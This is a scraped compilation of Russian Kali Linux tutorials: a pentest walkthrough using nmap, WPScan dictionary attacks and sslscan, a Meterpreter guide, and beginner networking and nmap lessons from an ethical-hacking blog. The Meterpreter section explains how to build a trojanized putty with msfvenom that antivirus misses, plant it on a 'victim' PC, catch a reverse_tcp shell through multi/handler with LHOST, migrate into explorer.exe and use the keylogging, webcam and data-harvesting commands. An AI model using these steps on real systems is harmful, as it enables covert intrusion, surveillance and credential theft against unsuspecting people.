как узнать lhost kali linux
Найти и не обезвредить: пишем пентесты с Kali Linux
Kali и другие подобные инструменты помогают обнаружить уязвимости в вашем ПО. И лучше, если первыми их найдёте вы, а не злоумышленники.
Шило в мешке не утаить: по неведению (правда, в некоторых случаях — умышленно) даже крупные корпорации оставляют дыры в своей системе безопасности. Жизненно важно как можно быстрее (1) локализовать их и (2) пофиксить. К счастью, существует множество различных продуктов, которые помогают с первым пунктом. Среди них можно выделить Kali, дистрибутив Linux, разработанный для тестирования систем безопасности. В этой статье я расскажу, как использовать Kali Linux для исследования вашей системы и поиска слабых мест, имитируя атаку злоумышленника.
Дистрибутив Kali включает множество инструментов, каждый из которых имеет открытый исходный код. Достаточно запустить установку дистрибутива и все эти инструменты будут доступны из коробки.
В качестве подопытных я буду использовать две системы:
Поиск открытых портов
Я начал с базового сканирования системы 2. Сканируя систему с помощью Nmap, можно узнать, какие порты и службы видны из системы 1, запускающей сканирование.
Итак, первым делом можно найти несколько «интересных» открытых портов — потенциальных слабых мест. На самом деле, любой открытый порт интересен, потому что с его помощью больше шансов взломать сеть. В этом примере 21, 22, 80 и 443 — это ещё и порты часто используемых служб. Но пока я просто занимаюсь разведкой и пытаюсь получить как можно больше информации о системе, которую хочу взломать.
Здесь нас интересуют следующие строки:
Поиск информации о пользователях
\ \ /\ / /| |__) | (___ ___ __ _ _ __
WordPress Security Scanner by the WPScan Team
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
[i] User(s) Identified:
| Found By: Author Posts — Display Name (Passive Detection)
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
| Found By: Author Posts — Display Name (Passive Detection)
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Отлично, найдены два пользователя: admin и pgervase. Я попытаюсь подобрать пароль для пользователя admin, используя словари паролей — текстовый файл с набором возможных вариантов. Я возьму словари из 3 231 и из 3 543 076 137 строк.
Подбор пароля с атакой по словарю
Для атаки по словарю можно использовать разные инструменты. Вот два примера команд с Nmap и WPScan:
Эти два инструмента, конечно же, могут гораздо больше, но и для подбора паролей тоже годятся.
А вот эта команда WPScan, например, выводит пароль в конце файла:
Раздел Valid Combinations Found в конце содержит имя пользователя admin и его пароль. На перебор 3 231 строк ушло всего две минуты.
У меня есть ещё один файл словаря с 3 238 659 984 уникальными записями, что займет гораздо больше времени.
Nmap выдаёт результат намного быстрее:
Правда, такое сканирование можно отследить по HTTPD-логам, которые будут обнаружены во взломанной системе:
Поиск Heartbleed-уязвимости
Чтобы получить информацию о HTTPS-сервере и SSL/TLS протоколах, я использую команду sslscan:
Мы видим, что в версиях протоколов, которые используются на сервере, Heartbleed-уязвимость не обнаружена:
Ну что ж, значит через модуль Heartbeat я не могу получить доступ к оперативной памяти и данным сервера. Что ж… видно не судьба 🙂
Советы по предотвращению и защите от взлома
Можно написать много статей про то, как противостоять атакам хакеров всех мастей. Тут я ограничусь общими рекомендациями:
Полезные материалы (на английском языке)
То, что описано в этой статье, — лишь вершина айсберга. Чтобы погрузиться глубже, вы можете изучить следующие ресурсы:
Облачные серверы от Маклауд быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
Kali Linux. Возможности Meterpreter. Часть 1.
Начнём. Возможно, это Часть 1.
Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.
Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.
Хакер: Kali Linux 2017.1
Жертва: Windows 10 1703 x64
Процесс создания заражённого файла:
1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете
2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.
Поясню, что тут есть:
У меня тут 10 итераций(-i 10).
Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса
35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.
Запускаем metasploit framework и ждём.
Команды выглядят так:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (показывает, что можно настроить)
Пишем «set LHOST 192.168.0.101», в моём случае. У вас, ясное дело, ваш ip Kali Linux.
LHOST и LPORT должны быть теми, которые мы указали в msfvenom.
Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.
Заражённая программа внешне ничем не отличается от оригинала:
Обычная программа. Только закрывается через несколько секунд.
На ноуте в это время пишем exploit и видим это:
«meterpreter > » означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть «заражённый процесс в другой процесс». Чтобы путти мог закрыться и не закрыл вместе с собой сессию.
Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe
PID у него 3044. 2800 это PPID и он нам не нужен.
пишем «migrate 3044» и готово.
Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.
Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.
1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.
2. sysinfo. и так понятно, что даёт
6. Команды для вебкамеры:
Не смогу показать, нет вебкамеры и вряд-ли теперь будет.
Ловит только английские буквы
ololoo, test keylogger
Неинтересное закончилось, пора переходить к интересному:
Команды вида «run *что-то*». Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой «тру обзор», но это не точно.
Всё я показывать не буду, там очень много. Пост не резиновый.
Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.
Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать «All files».
Файлы Preference и Decrypted открываются в текстовом редакторе.
Этичный хакинг с Михаилом Тарасовым (Timcore)
Блог об Этичном Хакинге
#1 Kali Linux для начинающих. Урок 1 — Основы сетей.
В этом уроке мы изучим основы работы с сетью и научимся находить информацию о сети, такую как наш ip адрес, шлюз сервер и так далее.
Мы научимся определять, какие сервисы запущены на нашей машине.
После взлома линукс сервера, вам нужно выяснить, есть ли у него другие сетевые интерфейсы, и если они есть, то, как правило, это означает, что этот сервер подключен к двум различным сетям, и его можно использовать, чтобы попасть в другую сеть или другой сегмент сети. В корпоративной сети разделение сетей, в которых находится чувствительная информация, чувствительные серверы, является частой практикой.
Также вам нужно знать, с какими dns серверами общается взломанный сервер, и через какой шлюз. В этом случае вы будете лучше понимать, в какой сети находитесь.
Итак, при подключении к сети нас интересует несколько моментов, а именно, какие используются сетевые интерфейсы (проводная сеть, беспроводная сеть, vpn-сеть). Какой у нас ip адрес, шлюз, и по какому маршруту идет наш трафик.
В линуксе сетевые интерфейсы называются следующим образом. Кстати, если вы не знаете что такое сетевой интерфейс, на самом деле это то, каким способом ваш компьютер подключен к сети. Если ваш компьютер подключен к сети через сетевой кабель, то оборудование, через которое он выходит в сеть, называется сетевым адаптером. У сетевого адаптера есть интерфейс с ip адресом, и если это проводная сеть, то интерфейс называется eth0. Это справедливо, если в вашей сети всего один адаптер. Если есть и другие, то они будут называться eth1, eth2 и т. д. Если у вас используется беспроводная сеть, то интерфейс называется wlan0. Lo — это лупбэк адрес, также известный как com или localhost. Его ip адрес 127.0.0.1. Лупбэк адресу всегда соответсвует этот ip адрес.
Переходим в Kali Linux. Чтобы узнать свой ip адрес, то используем команду ifconfig. Как видите тут указан мой ip адрес:
Допустим, мне нужно указать мой dns сервер, и если вы забыли или не знаете что такое dns сервер, то поищите эту информацию в интернете. Думаю ответ не заставит вас долго ждать.
Давайте проверим ip-адрес с помощью команды traceroute timcore.ru:
Для остановки данной команды, используйте комбинацию клавиш Ctrl+C.
Когда вы взломали сервер, нужно знать, какие сервисы на нем запущены, а также какие компьютеры или сервера общаются с этими сервисами. Это можно сделать с помощью команды netstat. Как правило с ней используются опции -a — отображает все запущенные сервисы, -n — это адрес с цифрами. -t — отображает tcp, то есть протокол tcp. -p — отображает название программы, которая запустила этот сервис. Попробуйте эту команду самостоятельно.
Этичный хакинг с Михаилом Тарасовым (Timcore)
Блог об Этичном Хакинге
#8 Kali Linux для начинающих. Основные команды. Часть 1.
Давайте познакомимся с основными Linux-командами. Это будет базовый перечень, о которых я расскажу. Сначала я хочу, чтобы Вы запомнили одну деталь. Дело в том, что Linux-системы чувствительны к регистру. Например, если мы пишем слово «Test» (обратите внимание на первую заглавную букву), то это будет отличаться от того же слова «test», но уже с первой прописной буквой. Это важно усвоить, прежде чем переходить к изучению команд в Linux.
Прошу Вас быть внимательными, и если вы новичок в Linux, то Вам простительны такие ошибки, но уже более опытным пользователям это неприемлемо. Хочу отметить, что получение доступа к файлам в Linux гораздо сложнее, чем в привычной всем Windows, и очень важную роль тут как раз играет регистр, поэтому будьте повнимательнее.
Думаю, мы разобрались с этим моментом, и нужно обозначить текущие цели, которые мы будем преследовать на протяжении нескольких уроков.
Итак, мы научимся перемещаться по файловой системе, изменять директории и переходить из одной директории в другую. Также научимся создавать файлы и директории, и Вы получите навыки в отображении содержимого этих файлов, и директорий. Еще мы с Вами научимся копировать, перемещать и удалять эти файлы и директории.
Теперь я хотел бы осветить пару моментов, которые необходимы при работе с командами в Linux. Есть определенная структура, которая состоит из 2-х элементов: «опции» и «аргументы».
Давайте более подробнее поговорим про эти элементы. Опции изменяют поведение команды, и, как правило это буквы, перед которыми идет знак минус «-». Можно использовать несколько опций в одной команде. Например, команда ls отображает содержимое директории и работает определенным образом. Не пугайтесь, если не понимаете назначение данной команды, позже Вам станет все понятно. Мы можем также прописать ту же команду ls, но дописав — — help, то в конечном итоге увидим другой результат выполнения:
В этом случае — — help — это «опция». Как я уже говорил, помимо опций у команд есть аргументы. Как правило, аргумент — это дополнительная информация, которая указывает команде с чем работать.
Приведу тот же пример с командой ls. Если ввести эту команду без аргументов, то она отобразит текущую директорию:
Допустим я нахожусь в директории /Documents, и при вводе команды ls, она отобразит директорию /Documents соответственно:
Однако, если мы перейдем в корень и добавим к команде ls, например, следующую запись — Downloads, то мы увидим содержимое указанной директории, а Downloads будет называться аргументом:
Итак, какие основные команды мы рассмотрим в ближайших нескольких уроках?
— pwd, которая означает, отобразить рабочую директорию;
— cd — сменить директорию;
— mkdir — создать директорию;
— touch — используется для создания файла;
— ls — отображение содержимого директории;
— cat — команда, которая конкатенирует и отображает файлы;
— less — отображает содержимое файлов, но по-другому;
— tail — [n] — отображает последние строки файла, в зависимости от количества указанных строк;
— cp — копирует файл;
— mv — перемещает или переименовывает файл;
— rm или rmdir — можно удалить файл и/или директорию.
Этичный хакинг с Михаилом Тарасовым (Timcore)
Блог об Этичном Хакинге
#36 Kali Linux для начинающих. Сканируем порты с помощью Kali Linux.
Теперь, когда я узнал айпи-адрес нашей машины, мне нужно узнать, какие сервисы на ней работают, и какие порты открыты. Для этого мы воспользуемся нашим инструментом, который называется «nmap».
Давайте я покажу Вам пару новых опций «nmap».
Первая – это опция «-v», т.е подробный режим, где мы сообщаем нашему инструменту, что нужно выводить больше информации. Если Вы запустите «nmap» с опцией «-v», то довольно часто Вы можете наблюдать пустой экран. Также можно воспользоваться опциями: «-vv» «-vvv». Чем больше «v», тем больше выводится информации на экране.
Далее идет опция «-p-» или «-p 0-65535». Она означает сканирование всех tcp-портов. Далее идет опция «-A», которая отображает версию операционной системы, и уже можно сказать, что это стадия разведки. Для вывода большего перечня информации мы конечно же будем использовать ее, но она занимает намного больше времени, чем простое сканирование. Так как мы хотим взломать машину, нам нужно будет узнать как можно больше информации о ней, поэтому мы используем опцию «-A».
Далее пишем ip-адрес нашей цели, который у меня выглядит как: «192.168.15.131». Также я хочу, чтобы у меня был отчет по окончании сканирования, и у «nmap» есть 3 типа вывода. Обычный вывод, похожий на текстовый файл. Это просто копирование того, что выводится на экран. Также есть вывод в файл «gnmap». И последний третий вывод – это xml, который подается на вход другим инструментам. Сейчас я хочу сохранить вывод файлов в трех форматах: nmap, gnmap и xml. Нам нужно дописать команду опциями «–oA”, и в конце назовем файл «metasploitable2» и нажмем Enter.
В итоге у нас получится команда: «nmap –v –p 0-65535 –A 192.168.15.131 –oA metasploitable2»:
Поскольку мы выбрали достаточно много опций, которые выводят много информации, нам остается только ждать завершения сканирования. И это все всего лишь один ip-адрес. Сканирование может занять достаточное количество времени. Теперь представьте на реальном примере, сколько нужно ждать, если у Вас не один ip-адрес, а 100 или 200. В этом примере сканирование у меня прошло быстро, и мне не пришлось его останавливать:
Также рассмотрим опцию «-T», которая позволяет сканировать айпи адреса в тихом режиме, чтобы не сработали системы обнаружения. У нее есть параметр от 1 до 5, где цифра 1 – это очень медленное сканирование.
Не забываем, что мы указывали создание трех файлов-отчетов с разными расширениями. Они находятся в моей текущей директории:
Давайте упорядочим наш список файлов, перенеся их в отдельную директорию:
Команды должны быть Вам уже известны.
Для просмотра файлов можно использовать команду «cat» или «less», для постепенного просмотра файлов:
Итак, мы просканировали наш ip-адрес и выявили наличие множества открытых портов, и большое количество сервисов.